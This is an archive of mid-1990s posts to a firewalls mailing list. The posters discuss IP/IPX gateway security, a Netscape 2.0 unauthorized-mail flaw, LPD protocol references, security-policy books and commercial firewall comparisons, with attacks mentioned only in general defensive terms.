    Jean Chouanard                   | Jean.Chouanard@Grenoble.RXRC.Xerox.com
Networks & Systems Eng.              |        Rank Xerox Research Centre
 Fax: (33) 76 61 51 99               |           6, Ch de maupertuis
 Ph:  (33) 76 61 50 90               |           38240 Meylan FRANCE



From firewalls-owner  Wed Mar 13 05:04:22 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA10857 for firewalls-outgoing; Wed, 13 Mar 1996 04:50:19 -0800 (PST)
Received: from relay2.smtp.psi.net (relay2.smtp.psi.net [38.8.188.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id EAA10845 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 04:50:15 -0800 (PST)
Received: from vse1 by relay2.smtp.psi.net (8.6.12/SMI-5.4-PSI)
	id JAA26028; Sun, 10 Mar 1996 09:36:57 -0500
Received: from jeffs_winpc by vse1 (4.1/SMI-4.1)
	id AA11148; Wed, 13 Mar 96 07:43:52 EST
Message-Id: <9603131243.AA11148@vse1>
X-Sender: jtankf@vse1
X-Mailer: Windows Eudora Light Version 1.5.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 13 Mar 1996 07:45:38 -0500
To: firewalls@greatcircle.com
From: Jeffry Tank <jtankf@vsecorp.com>
Subject: IP/IPX gateways
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Can anyone tell me if it true that by putting an IP/IPX gateway between your
internal IPX lan and your internet server, you can prevent _all_ attacks to
your system from the outside (the internet)? Seem too simple to me, but some
folks at my company insist that this is true.  What about IPX packets
wrapped in an IP layer? (assuming this can be done) Then when the IP layer
is stripped off at the gateway couldn't the IPX parkets contain info to
inflict damage to the internal network, at say the Novell server?

TIA

Jeff


From firewalls-owner  Wed Mar 13 05:39:40 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA12499 for firewalls-outgoing; Wed, 13 Mar 1996 05:28:13 -0800 (PST)
Received: from mojave.dnsppp.net (dnsppp.net [152.52.111.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA12494 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 05:28:08 -0800 (PST)
Received: (from admin@localhost) by mojave.dnsppp.net (8.6.12/8.6.9) id IAA03445; Wed, 13 Mar 1996 08:25:41 -0500
Date: Wed, 13 Mar 1996 08:25:40 -0500 (EST)
From: System Administrator <admin@dnsppp.net>
To: "Alex \"Achmed\" McCubbin" <alexm@chancery.com>
cc: "firewalls@GreatCircle.COM" <firewalls@GreatCircle.COM>
Subject: RE: Netscape2.0 sends mail to the world without authority (fwd)
In-Reply-To: <01BB103C.409F8960@ALEXM>
Message-ID: <Pine.LNX.3.91.960313081725.2464A-100000@mojave.dnsppp.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Tue, 12 Mar 1996, Alex "Achmed" McCubbin wrote:
> 
> This is insidious; it means that E-mail messages, purportedly from me (and
> all traces will show they really are from me) can be sent anywhere, without
> my knowledge, with contents that I do not approve.  Further, it means that 

A temporary fix (read: kludge) would be to change your identity in Navigator 
to something like

Options/Mail&News/Identity/YourName:  *** THIS MAIL IS NOT AUTHORIZED ****

Of course, if you are relying upon Navigator for email, then you don't
have this as an option.

My .02 worth,  :)

Niles Mills
--
admin@dnsppp.net


From firewalls-owner  Wed Mar 13 06:03:31 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA13893 for firewalls-outgoing; Wed, 13 Mar 1996 06:00:43 -0800 (PST)
Received: from ns.dknet.dk (ns.dknet.dk [193.88.44.42]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA13875 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 06:00:34 -0800 (PST)
Received: from ecad (uucp@localhost) by ns.dknet.dk (8.6.12/8.6.12) with UUCP id OAA01630 for firewalls@GreatCircle.COM; Wed, 13 Mar 1996 14:58:42 +0100
Received: from gert by ghdsign.dk (5.x/SMI-SVR4)
	id AA03696; Wed, 13 Mar 1996 14:54:20 +0100
Received: (from pm@localhost) by gert (8.6.12/8.6.9) id OAA14759; Wed, 13 Mar 1996 14:52:47 +0100
Date: Wed, 13 Mar 1996 14:52:47 +0100
From: Peter Maersk-Moller <pm@ghdsign.dk>
Message-Id: <199603131352.OAA14759@gert>
Subject: Re: Looking after informations about LPDaemon !
To: firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

nrb@mail.interpac.be  wrote
>>Looking after informations about LPDaemon !
>>
>>Any suggestions are welcome !

Try getting RFC1179. Its title is "Line Printer Daemon Protocol"

I also wrote the RFC number 1522 on my notes but don't remember why. Try look
at that too. It might be something totally different.

You can also look at the RFC 1486. Its titlt is
"An Experiment in Remote Printing".

Had a problem some time ago concerning locking of LPD. You are welcome to mail
any question about how to solve that if thats your problem.

Regards Peter Maersk-Moller

---

Technical Manager			E-mail maersk@ghdsign.dk
Peter Maersk-Moller			GSM    +45 40164125
                          -------
GHDsign					Phone  +45 44441482
Bakkesvinget 12				Fax    +45 44490044
DK-2880 Bagsvaerd			BBS    +45 44440940
DENMARK					WWW    http://login.dknet.dk/~ghdsign

                                \|||/
                                (. .)
-----------------------------ooO-(_)-Ooo---------------------------------
   __   _
  / /  (_)__  __ ____  __
 / /__/ / _ \/ // /\ \/ /  . . .  t h e   c h o i c e   o f   a
/____/_/_//_/\___/ /_/\_\              G N U   g e n e r a t i o n . . .

-------------------------------------------------------------------------
                                || ||
                               ooO Ooo

From firewalls-owner  Wed Mar 13 06:26:58 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA14665 for firewalls-outgoing; Wed, 13 Mar 1996 06:10:07 -0800 (PST)
Received: from lint.cisco.com (lint.cisco.com [171.68.235.77]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA14650 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 06:10:02 -0800 (PST)
Received: from pferguso-pc.cisco.com (c2robo1.cisco.com [171.68.13.33]) by lint.cisco.com (8.6.10/CISCO.SERVER.1.1) with SMTP id GAA09874; Wed, 13 Mar 1996 06:07:21 -0800
Message-Id: <199603131407.GAA09874@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 13 Mar 1996 09:08:15 -0500
To: Jeffry Tank <jtankf@vsecorp.com>
From: Paul Ferguson <pferguso@cisco.com>
Subject: Re: IP/IPX gateways
Cc: firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Conventional wisdom dictates that you cannot prevent *all* attacks
on your internal network anyway, regardless of what you do.

But I digress.

If your main concern is protecting your Novell Netware network, placing
a translation gateway or NLM, such as Internet Junction (shameless plug),
provides reasonable sanity in this regard.

My $.02.

- paul

At 07:45 AM 3/13/96 -0500, Jeffry Tank wrote:

>Can anyone tell me if it true that by putting an IP/IPX gateway between your
>internal IPX lan and your internet server, you can prevent _all_ attacks to
>your system from the outside (the internet)? Seem too simple to me, but some
>folks at my company insist that this is true.  What about IPX packets
>wrapped in an IP layer? (assuming this can be done) Then when the IP layer
>is stripped off at the gateway couldn't the IPX parkets contain info to
>inflict damage to the internal network, at say the Novell server?
>
>TIA
>
>Jeff
>

--
Paul Ferguson                                           ||        ||
Consulting Engineering                                  ||        ||
Reston, Virginia   USA                                 ||||      ||||
tel: +1.703.716.9538                               ..:||||||:..:||||||:..
e-mail: pferguso@cisco.com                         c i s c o S y s t e m s


From firewalls-owner  Wed Mar 13 06:39:56 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA16144 for firewalls-outgoing; Wed, 13 Mar 1996 06:24:23 -0800 (PST)
Received: from livedgar.gsionline.com (livedgar.gsionline.com [204.254.209.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA16131 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 06:24:17 -0800 (PST)
Received: from GEORGE by livedgar.gsionline.com (NTMail 3.01.01) id xa002571; Wed, 13 Mar 1996 14:21:35 +0000
X-Sender: nick@livedgar
X-Mailer: Windows Eudora Version 1.4.3
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: "KM"  <goertzek@wangfed.com>
From: nkeenan@gsionline.com (Mr. Nick Keenan)
Subject: Re: BoS: Netscape2.0 sends mail to the world without authority (fwd)
Cc: firewalls@greatcircle.com
Date: Wed, 13 Mar 1996 14:21:35 +0000
Message-Id: 14213566801764@gsionline.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>This is insidious; it means that E-mail messages, purportedly from me (and
>all traces will show they really are from me) can be sent anywhere, without
>my knowledge, with contents that I do not approve.  Further, it means that I
>can no longer count on browsing a site without my userid being disclosed.
>Unlike Java, there is no way to disable this.  [Also been submitted to
>Netscape.]

It is possible to disable email from within netscape by not specifying a POP
or SMTP server.  However, I agree with you that this is a nasty security hole.
Nick Keenan
Global Securities Information
nkeenan@gsionline.com
http://www.gsionline.com


From firewalls-owner  Wed Mar 13 06:55:47 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA15346 for firewalls-outgoing; Wed, 13 Mar 1996 06:16:24 -0800 (PST)
Received: from gateway.damark.com (GATEWAY.DAMARK.COM [204.17.145.230]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA15323 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 06:16:17 -0800 (PST)
Received: by gateway.damark.com; id IAA13167; Wed, 13 Mar 1996 08:14:34 -0600
Received: from unknown(172.31.254.231) by gateway.damark.com via smap (g3.0.1)
	id sme013165; Wed, 13 Mar 96 08:14:16 -0600
Received:  by damark.com (5.65/1.2-eef)
	id AA26481; Wed, 13 Mar 96 08:13:41 -0600
Message-Id: <9603131413.AA26481@damark.com>
From: "william.wells" <william.wells@damark.com>
To: FIREWALLS <firewalls@GreatCircle.COM>
Subject: FW: FW: IPX problem -Reply
Date: Wed, 13 Mar 96 08:09:00 CST
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Mail From: Thomas Lundquist <fw@castle.hiof.no> said:
On Tue, 12 Mar 1996, william.wells wrote:

> We use NetWare/IP here a fair amount.  It works great through routers.  I
> don't think that it helps the firewalls issue though.  As I recall, it
uses
> UDP packets for most of the transmissions.  Most firewalls don't
appreciate
> UDP packets.

 [snip]

So, when we wanted to implement IPX between two of the systems with
Internet as the carrier I found a program called ipxtunnel that relays
ipx over IP using UDP.

 ----
I clarify:
  NetWare/IP isn't the same as an IP tunneling.  IP tunneling wraps the IPX
inside a (frequently) point-to-point IP connection. We use it to transport
IPX between 2 Novell servers located in different buildings on the IP
inter-building link.
  NetWare/IP replaces IPX with IP. The packets don't contain an IPX packet
with an IP wrapper; they are IP packets. Once you setup your server to
handle NetWare/IP (a cost item for NetWare 3.x; a free-by-request item for
NetWare 4.x) and add the IP handler on PCs, then any NetWare/IP PC can
access a Novell server through IP only routers without having to initiate a
tunneling link.
  As a bonus (to some) is that PC IP stacks generally contain LPD printing
capabilities.  So you can have the PCs directly send files to printers or
UNIX systems; but you need to understand what you are doing- there are some
subtle 'gotcha-s'.

From firewalls-owner  Wed Mar 13 07:03:25 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA13405 for firewalls-outgoing; Wed, 13 Mar 1996 05:53:40 -0800 (PST)
Received: from dub-img-7.compuserve.com (dub-img-7.compuserve.com [198.4.9.8]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA13364 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 05:53:31 -0800 (PST)
Received: by dub-img-7.compuserve.com (8.6.10/5.950515)
	id IAA03426; Wed, 13 Mar 1996 08:51:52 -0500
Date: 13 Mar 96 08:50:18 EST
From: Ed Yurko <102354.133@compuserve.com>
To: FirewallList <firewalls@greatcircle.com>
Subject: Re: books on security policies
Message-ID: <960313135017_102354.133_HHQ63-1@CompuServe.COM>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>folks,

>are there any books in print that address real-life security policies?
>there are any number of books on security (both networks and systems), but
>none that i have seen to date discuss - in any detail - an organization's
>security policies: what they should include, etc.

>thanks,

>peter gregory

I would be interested in such a book as well but I also have a request to add.
My main complaint with security books is that they tend to avoid specific
information whenever possible.  The explanation in the books that I have seen is
always that they are trying to avoid giving the details of how to perform a
certain "hack" because they don't want to help those individuals who might
attempt malicious acts.  I see the reasoning but feel that it is misguided.  I'm
not sure how you are supposed to stop a hacker unless you understand some of
their methods in detail.  Even a book which describes some of the most common
techniques would be useful.  Does anyone know of a security book (or other info.
resource) whch goes into specific detail or actually shows you how to perform
certain "hacks"?  I feel that this info. would be more valuable to security
conscious network administrators than most of the half-baked over-generalized
books which I have seen.

Ed Yurko   


From firewalls-owner  Wed Mar 13 07:18:17 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA17852 for firewalls-outgoing; Wed, 13 Mar 1996 07:11:17 -0800 (PST)
Received: from Portal.XAIT.Xerox.COM (Portal.XAIT.Xerox.COM [198.114.160.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA17846 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 07:11:13 -0800 (PST)
Received: by Portal.XAIT.Xerox.COM (4.1/SMI-4.1)
	id AA02627; Wed, 13 Mar 96 10:16:45 EST
Received: from harmony.xait.xerox.com(13.232.16.11) by Portal.XAIT.Xerox.COM via smap (V1.3)
	id sma002624; Wed Mar 13 10:16:19 1996
Received: from Balkis.XAIT.Xerox.COM by XAIT.Xerox.COM (5.0/SMI-SVR4)
	id AA00760; Wed, 13 Mar 1996 10:10:12 -0500
Date: Wed, 13 Mar 1996 10:10:12 -0500
From: marie@XAIT.Xerox.COM (Marie Reale)
Message-Id: <9603131510.AA00760@XAIT.Xerox.COM>
To: firewalls@GreatCircle.COM
Subject: Raptor Product
Cc: marie@Harmony.XAIT.Xerox.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hello,
Does anyone know where information is available for 
Raptor? I would like to learn about the product, it's
functionality, cost, etc.  How does it compete with
other firewall software?

Thanks Much,
Marie

From firewalls-owner  Wed Mar 13 07:33:04 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA17478 for firewalls-outgoing; Wed, 13 Mar 1996 07:02:06 -0800 (PST)
Received: from svcs1.digex.net (svcs1.digex.net [204.91.197.224]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA17471 for <firewalls@GreatCircle.com>; Wed, 13 Mar 1996 07:01:53 -0800 (PST)
Received: from mambo (fred.digex.net [164.109.213.78]) by svcs1.digex.net (8.6.12/8.6.12) with SMTP id KAA21897; Wed, 13 Mar 1996 10:00:02 -0500
Message-ID: <3146E259.2A34@access.digex.net>
Date: Wed, 13 Mar 1996 09:57:29 -0500
From: "Eliot T. Ware" <etware@access.digex.net>
X-Mailer: Mozilla 2.0GoldB1 (WinNT; I)
MIME-Version: 1.0
To: Jeffry Tank <jtankf@vsecorp.com>
CC: Firewall ListServer <firewalls@GreatCircle.com>
Subject: Re: IP/IPX gateways
References: <9603131243.AA11148@vse1>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Jeffry Tank wrote:
> 
> Can anyone tell me if it true that by putting an IP/IPX gateway between your
> internal IPX lan and your internet server, you can prevent _all_ attacks to
> your system from the outside (the internet)? Seem too simple to me, but some
> folks at my company insist that this is true.  What about IPX packets
> wrapped in an IP layer? (assuming this can be done) Then when the IP layer
> is stripped off at the gateway couldn't the IPX parkets contain info to
> inflict damage to the internal network, at say the Novell server?
> 
> TIA
> 
> Jeff

Jeff -

We are working through this now.  So far it looks like it may be simple but
it works.  The one possible exception would be the IPTUNNEL feature on your
NetWare servers.  If it were implemented AND if your IP/IPX gateway was routing
IP onto your IPX side AND TCPIP.NLM is running on the server, you should be able
to get to the server through the gateway.  Without explicitly doing all of the above, I
haven't found a way to get to the server from the outside.

I'd appreciate it if anyone else can confirm/rebut this.


- Eliot
-- 
Eliot T. Ware, CNE			voice:  (202) 622-1302
Global Systems Architect		  fax:  (202) 622-2582
Department of the Treasury (UNIBAND)
preferred:  etware@access.digex.net
alternate:  eliot.ware@treas.sprint.com

From firewalls-owner  Wed Mar 13 07:48:20 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA18997 for firewalls-outgoing; Wed, 13 Mar 1996 07:46:31 -0800 (PST)
Received: from godel2.bim.be (godel2.bim.be [141.253.4.135]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA18988 for <firewalls@GreatCircle.com>; Wed, 13 Mar 1996 07:46:26 -0800 (PST)
Received: from galileo.mumath by godel2.bim.be (SMI-8.6/SMI-SVR4)
	id QAA19283; Wed, 13 Mar 1996 16:47:01 +0100
Received: by galileo.mumath (5.x/SMI-SVR4)
	id AA00594; Wed, 13 Mar 1996 16:44:01 +0100
Date: Wed, 13 Mar 1996 16:44:01 +0100
From: pc@godel2.bim.be (Philippe Cayphas)
Message-Id: <9603131544.AA00594@galileo.mumath>
To: marie@XAIT.Xerox.COM
Subject: Re: Raptor Product and other comparison of firewalls
Cc: firewalls@GreatCircle.com
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Hi all,

Data Communications has performed a very interesting comparison of a lot of
 firewalls.
Let's say that Raptor product was not the best. Far away.

Top performers were :
1) Checkpoint's Firewalls-1
2) Haris Cyberguard
3) TIS Gauntlet

This study can be found at :
http://www.data.com/Lab_Tests/Firewalls.html

Philippe
--
	Ph. Cayphas
	Senior Engineer


E-Mail: pc@bim.be

Telephone: +32(10)47.08.32	Fax : +32(10)47.08.11

Postal Mail :
	Ph. Cayphas
	BIM sa
	4, Av. Albert Einstein
	1348 Louvain-La-Neuve
	Belgium

From firewalls-owner  Wed Mar 13 08:03:51 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA19977 for firewalls-outgoing; Wed, 13 Mar 1996 08:00:43 -0800 (PST)
Received: from mickey.ovid.com (mickey.ovid.com [198.242.51.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA19937 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 08:00:32 -0800 (PST)
Received: by mickey.ovid.com (AIX 3.2/UCB 5.64/4.03)
          id AA21348; Wed, 13 Mar 1996 08:57:17 -0700
Date: Wed, 13 Mar 1996 08:57:16 -0700 (MST)
From: Adam Prato <adamp@mickey.ovid.com>
To: Jeffry Tank <jtankf@vsecorp.com>
Cc: firewalls@greatcircle.com
Subject: Re: IP/IPX gateways
In-Reply-To: <9603131243.AA11148@vse1>
Message-Id: <Pine.A32.3.91.960313084649.24109A-100000@mickey.ovid.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk



On Wed, 13 Mar 1996, Jeffry Tank wrote:

> Date: Wed, 13 Mar 1996 07:45:38 -0500
> From: Jeffry Tank <jtankf@vsecorp.com>
> To: firewalls@greatcircle.com
> Subject: IP/IPX gateways
> 
> Can anyone tell me if it true that by putting an IP/IPX gateway between your
> internal IPX lan and your internet server, you can prevent _all_ attacks to
> your system from the outside (the internet)? Seem too simple to me, but some
> folks at my company insist that this is true.  What about IPX packets
> wrapped in an IP layer? (assuming this can be done) Then when the IP layer
> is stripped off at the gateway couldn't the IPX parkets contain info to
> inflict damage to the internal network, at say the Novell server?

It's totally *untrue* however, their claim has merit.

Most IP/IPX gateways are probably some sort of router that has access-list 
capability. With these access-lists you can build up an access table that 
is clearly defined by your security policy. The trouble is, building a table
that doesn't leave any holes. Thus, its very plausible to just shut everything
off........

However, The way TCP/IP functions, is that any connection from a local client
to a remote server (be it DNS, Telnet, FTP, HTTP, IRC, just about any service),
requires that a local port be opened up, greater than 1024, and its bound to
a remote port, at whatever port it is. Thus you have to allow *every port*
above 1024 for both TCP and UDP to cross, otherwise you will not be able to
telnet out (brings back memories of my first cisco access-list configuration,
reminiscing). Thus this is one hole that you open up since X (quite insecure),
NFS, and YP all use ports > 1024 (however the former  are somewhat protected
since portmapper would have been blocked at port 111). You would have to
periodically scan your network from the 'outside' to see what sockets are
listening to high end port numbers, and make sure that no nasty insecure
services are listening there. Once you've found them all you would have to 
deny them in your access table.

Another reason *not* to trust this idea is that a while back, many routers were
vulnerable to packet fragmentation attacks, where an attacker hides his attack
in smaller encapsulated packets. Also, if not configured properly (which isn't
hard to do), the router's access-list can easily be bypassed with a spoofed
IP header. IMO, there are just too many ifs, buts, and other loose ends with
this kind of security. I'm still learning about firewalling, but from my 
perspective, it offers a definite improvement over the 'packet filter' approach
to network security.

Adam
end port numbers, and make sure you turn anything off that is dangerous.

From firewalls-owner  Wed Mar 13 08:19:08 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA20645 for firewalls-outgoing; Wed, 13 Mar 1996 08:13:05 -0800 (PST)
Received: from gatekeeper.Bridge.COM (gatekeeper.bridge.com [167.76.159.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA20637 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 08:13:00 -0800 (PST)
Received: (from mailproxy@localhost) by gatekeeper.Bridge.COM (8.6.12/8.6.9) id KAA01217; Wed, 13 Mar 1996 10:10:33 -0600
Received: from ignatz.bridge.com(167.76.24.6) by gatekeeper.Bridge.COM via smap (V1.0mjr)
	id sma001183; Wed Mar 13 10:10:21 1996
Received: from ernie.bridge.com by ignatz.bridge.com with SMTP id AA15222
  (5.67b/IDA-1.5); Wed, 13 Mar 1996 10:18:38 -0600
Date: Wed, 13 Mar 1996 10:18:38 -0600
From: Ken Hardy <ken@bridge.com>
Message-Id: <199603131618.AA15222@ignatz.bridge.com>
To: jtankf@vsecorp.com, etware@access.digex.net
Subject: Re: IP/IPX gateways
Cc: firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I've been wondering about this lately.  Does the part that runs on the
pc provide a WinSockets DLL for the applications, said DLL providing
the standard API to applications, but talking IPX to the gateway?  If
not, disregard the rest of this message.

If so, you might have to consider people running FTP servers, HTTP
servers, and any other WinSockets-capable server or application on
their desktop; the fact that the datastream gets translated from one
protocol to another doesn't mean squat if it supports this kind of
connectivity directly to the desktop.

If these products present a single IP address to the world, it's
probably analogous to a single virtual computer in so far as IP is
concerned, and you'd potentially be able to exercise a lot of control
at the gateway itself.  Only one process could bind to and listen on
port 80, e.g., and you likely could explicitly disallow that.

But unless the package specifically prevents pc processes from
listening on any port, users could still set up servers on any
non-standard port.  If it disallows listens, how would a standard FTP
client work unless forced to use PASV mode?  Conjecture: the
gateway could behave like a stateful packet filter and allow the listen
on the port is sees in the FTP PORT command.  (Obviously, a proprietary
FTP client specific to the gateway package could be made to work using
proprietary features of the gateway implementation.)

Looking forward to clarification on these points from anyone with
experience with these sorts of gateways.

- KH


Jeffry Tank wrote:
> 
> Can anyone tell me if it true that by putting an IP/IPX gateway between your
> internal IPX lan and your internet server, you can prevent _all_ attacks to
> your system from the outside (the internet)? Seem too simple to me, but some
> folks at my company insist that this is true.  What about IPX packets
> wrapped in an IP layer? (assuming this can be done) Then when the IP layer
> is stripped off at the gateway couldn't the IPX parkets contain info to
> inflict damage to the internal network, at say the Novell server?


From firewalls-owner  Wed Mar 13 09:21:31 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA24542 for firewalls-outgoing; Wed, 13 Mar 1996 09:09:27 -0800 (PST)
Received: from email.okstate.edu (email.okstate.edu [139.78.100.71]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA24529 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 09:09:22 -0800 (PST)
Received: from wpb74.flinet.com (wpb74.flinet.com [205.216.85.74]) by email.okstate.edu (8.6.12/8.6.12) with SMTP id KAA06604; Wed, 13 Mar 1996 10:46:41 -0600
Message-Id: <2.2.32.19960313154643.00de1ff0@email.okstate.edu>
X-Sender: tie@email.okstate.edu
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 13 Mar 1996 10:46:43 -0500
To: Jeffry Tank <jtankf@vsecorp.com>
From: Tim Zhang <tie@okstate.edu>
Subject: Re: IP/IPX gateways
Cc: firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


At 07:45 AM 3/13/96 -0500, you wrote:
>Can anyone tell me if it true that by putting an IP/IPX gateway between your
>internal IPX lan and your internet server, you can prevent _all_ attacks to
>your system from the outside (the internet)? 

Not ALL attacks. Your IP server definitely could be attacked if you have
some Internet servers installed. And your router to the Internet is also an
attacking point. The current available IP/IPX gateway software is not bullet
proof. If someone installed TCP-IP & other software on his workstation, he
could find a way to escape the IP server and route his traffic directly to
the Internet through the router. Another thing is, someone can attach a
virus program and send it to your user, your network still suffers attack
from the outside.
 
Tim


From firewalls-owner  Wed Mar 13 09:38:00 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA24307 for firewalls-outgoing; Wed, 13 Mar 1996 09:03:57 -0800 (PST)
Received: from ALABAMA.CF.CS.YALE.EDU (RT-GW.CS.YALE.EDU [128.36.0.13]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id JAA24290 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 09:03:50 -0800 (PST)
From: long-morrow@CS.YALE.EDU
Received: from SPARKY.CF.CS.YALE.EDU by ALABAMA.CF.CS.YALE.EDU (8.7.1/res.host.cf-4.0)
	with ESMTP id MAA19617; Wed, 13 Mar 1996 12:00:42 -0500 (EST) sender long-morrow@CS.YALE.EDU for 
Received: by SPARKY.CF.CS.YALE.EDU (Sendmail-8.7.1/res.client.cf-4.0)
	id MAA06481; Wed, 13 Mar 1996 12:00:28 -0500 (EST)
Date: Wed, 13 Mar 1996 12:00:28 -0500 (EST)
Message-Id: <199603131700.MAA06481@SPARKY.CF.CS.YALE.EDU>
To: firewalls@greatcircle.com, thierry@namsa.nato.int
Subject: Re:  Visa/MasterCard SET
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


>From: GUINET Thierry <thierry@namsa.nato.int>
>To: firewalls@greatcircle.com
>Subject: Visa/MasterCard SET
>
>Hi there,
>
>Sorry for this somehow off-topic question. But I believe I read something
>about SET (Secured Electronic Transaction) from this mailing-list.
>Could somebody point me to the right place?
>TIA

You can get to and download the SET Draft Specification documents and
other resources from both the MasterCard and VISA home web pages:

	http://www.mastercard.com
	http://www.visa.com

- Morrow


From firewalls-owner  Wed Mar 13 09:48:21 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA26310 for firewalls-outgoing; Wed, 13 Mar 1996 09:40:24 -0800 (PST)
Received: from smtp1.interramp.com (smtp1.interramp.com [38.8.45.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA26298 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 09:40:18 -0800 (PST)
Received: from [38.12.221.73] by smtp1.interramp.com (8.6.12/SMI-4.1.3-PSI-irsmtp)
	id MAA05101; Wed, 13 Mar 1996 12:38:34 -0500
Date: Wed, 13 Mar 1996 12:38:34 -0500
X-Sender: us028272@pop3.interramp.com
Message-Id: <v01530501630b7edc212a@[38.12.221.251]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@greatcircle.com
From: us028272@interramp.com (JEFF  C FLYNN)
Subject:  Re: books on security policies
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Here's a title that might interest you.
"Policies & Procedures for Data Security" by Thomas Peltier
Available through CSI.  (415)905-2626
168 pages 3-ring binder.
Sorry, I don't have an isbn number.
Jeff



From firewalls-owner  Wed Mar 13 10:18:05 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA27684 for firewalls-outgoing; Wed, 13 Mar 1996 10:05:49 -0800 (PST)
Received: from gort.iis.net (gort.iis.net [204.157.57.7]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id KAA27679 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 10:05:42 -0800 (PST)
Received: from klaatu.iis.net (bigbird.iis.net [204.157.57.2]) by gort.iis.net (8.7.4/8.6.12) with ESMTP id NAA26700; Wed, 13 Mar 1996 13:03:59 -0500 (EST)
Received: from klaatu.iis.net (localhost [127.0.0.1]) by klaatu.iis.net (8.7.4/8.7.3) with ESMTP id NAA16981; Wed, 13 Mar 1996 13:03:57 -0500 (EST)
Message-Id: <199603131803.NAA16981@klaatu.iis.net>
X-Mailer: exmh version 1.6.5 12/11/95
To: pc@godel2.bim.be (Philippe Cayphas)
cc: marie@XAIT.Xerox.COM, firewalls@GreatCircle.COM
Subject: Re: Raptor Product and other comparison of firewalls 
In-reply-to: Your message of "Wed, 13 Mar 1996 16:44:01 +0100."
             <9603131544.AA00594@galileo.mumath> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
